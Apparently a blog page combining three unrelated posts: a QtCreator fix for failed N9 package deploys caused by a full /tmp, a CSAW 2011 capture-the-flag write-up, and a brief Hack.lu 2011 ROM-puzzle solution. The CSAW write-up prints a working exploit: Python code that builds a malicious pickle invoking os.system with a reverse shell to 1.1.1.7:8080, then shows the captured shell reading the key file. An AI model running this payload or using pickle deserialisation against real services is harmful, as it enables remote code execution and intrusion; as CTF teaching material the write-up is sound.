Fix for Failed to upload package: Failure on QtCreator

Just got hit by this problem, whenever I tried to deploy my application:

    11:06:04: Package created.
    11:06:04: Installing package to sysroot ...
    Package 'untitled' installed.

    11:06:04: Preparing SFTP connection...
    11:06:04: Starting upload...
    11:06:04: Failed to upload package: Failure
    11:06:04: Deploy step failed.
    Error while building project untitled (target: Harmattan)
    When executing build step 'Deploy Debian package via SFTP upload'

And a notification warning about the little remaining data storage appeared on the device, which I wrongly ignored at first. The problem occurs because QtCreator tries to copy the debian packate to /tmp on the device, N9 for me, and it fails if the space is full. I managed to fill my /tmp partition (which is just 4Mb btw..) by testing some big application. Solution is, ssh to your device, check if you /tmp is full (df -h) and delete any .deb file left there by QtCreator.

/home/developer $ df -h
Filesystem                Size      Used Available Use% Mounted on
/dev/root                 3.9G      1.7G      2.0G  47% /
devtmpfs                 10.0M    248.0K      9.8M   2% /dev
tmpfs                     4.0M      4.0M         0 100% /tmp
tmpfs                   512.0K    148.0K    364.0K  29% /var/run
..
/dev/mmcblk0p3            2.0G    197.7M      1.7G  10% /home
/tmp $ cd /tmp && ls -al
total 4096
..
-rw-r--r--    1 user     develope         0 Feb  7 09:59 qstardict_0.0.3_armel.deb
-rw-r--r--    1 user     develope         0 Feb  7 10:06 qstardict_0.0.4_armel.deb
-rw-r--r--    1 user     develope   4116480 Feb  3 21:32 qxmpp_0.0.1_armel.deb
..
/tmp $ rm qstardict_0.0.3_armel.deb
/tmp $ rm qxmpp_0.0.1_armel.deb
/tmp $ rm qstardict_0.0.4_armel.deb

UPDATE: This is supposed to be fixed on QtCreator 2.5 according to https://bugreports.qt-project.org/browse/QTCREATORBUG-6859

Patch is here if you don’t want to wait 🙂 : http://qt.gitorious.org/+qtcn/qt-creator/qtcn-qt-creator/commit/b7d02e08fa246f3d45c898dc2480143a372409f0

 

CSAW 2011 – Reversing – Python 200

Python – 200 Points 

nc csawctf.poly.edu 53080

When we connected to the port it was running a service Haderper:

-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
> help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

> derp hi
UydoaScKcDAKLg==
> underp UydoaScKcDAKLg==
hi
>

If we decode the base64 string we can see that it looks like a Pickle dump file:

$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0

After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from reverse shell cheatsheet.

# credits for this code goes to Jeff Epler
import pickle, new, base64

def nasty(module, function, *args):
    return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())


print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080

And our listening nc gets the remote shell:

$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}

Key:38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db

You can see the code for the daemon here.

Hack.lu 2011 CTF – Scotty’s last signal Solution

Challenge summary:

Scotty’s last signal

You might have heard about Montgomery Scott, the legendary chief engineer of the U.S.S. Enterprise. What you probably did not know is his passion for Video Games – especially really old classics. We recently lost contact with his transport shuttle and we think you should examine this old game file we recently recieved because he might have just put a message into there. This would make sense if he could not send a fully blown Space-Unicode message signal to avoid attracting any Borg ships in the sector… (Borg usually are very bad at video games) His passion for Beaming and Warping might be of interest for your analysis. https://ctf.hack.lu/files/mario

First we downloaded the attached file and checked to see what kind of file it is.

$  file mario
mario: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]
$ mv mario mario.nes

iNES Rom is a format developed by Marat Fayzullin to store Nintendo / Famicon games, and it’s also de name of its emulator.

After spending some time playing the game,  looking at the dissasembled game using FCEUX debugger and reading about NES ASM, I noted this wasn’t probably the easy way to solve it :P. But by playing it we could see that some messages on the game were changed, FLUX instead of MARIO, SADFACE instead of GAME OVER.

A couple of Google searching led me to this tool to change strings of SMB rom, SMB NES Rom Text Editor luckily is written in C # and can be run on Linux too with Mono.

Flag:  IMSTILLALIVEHELPME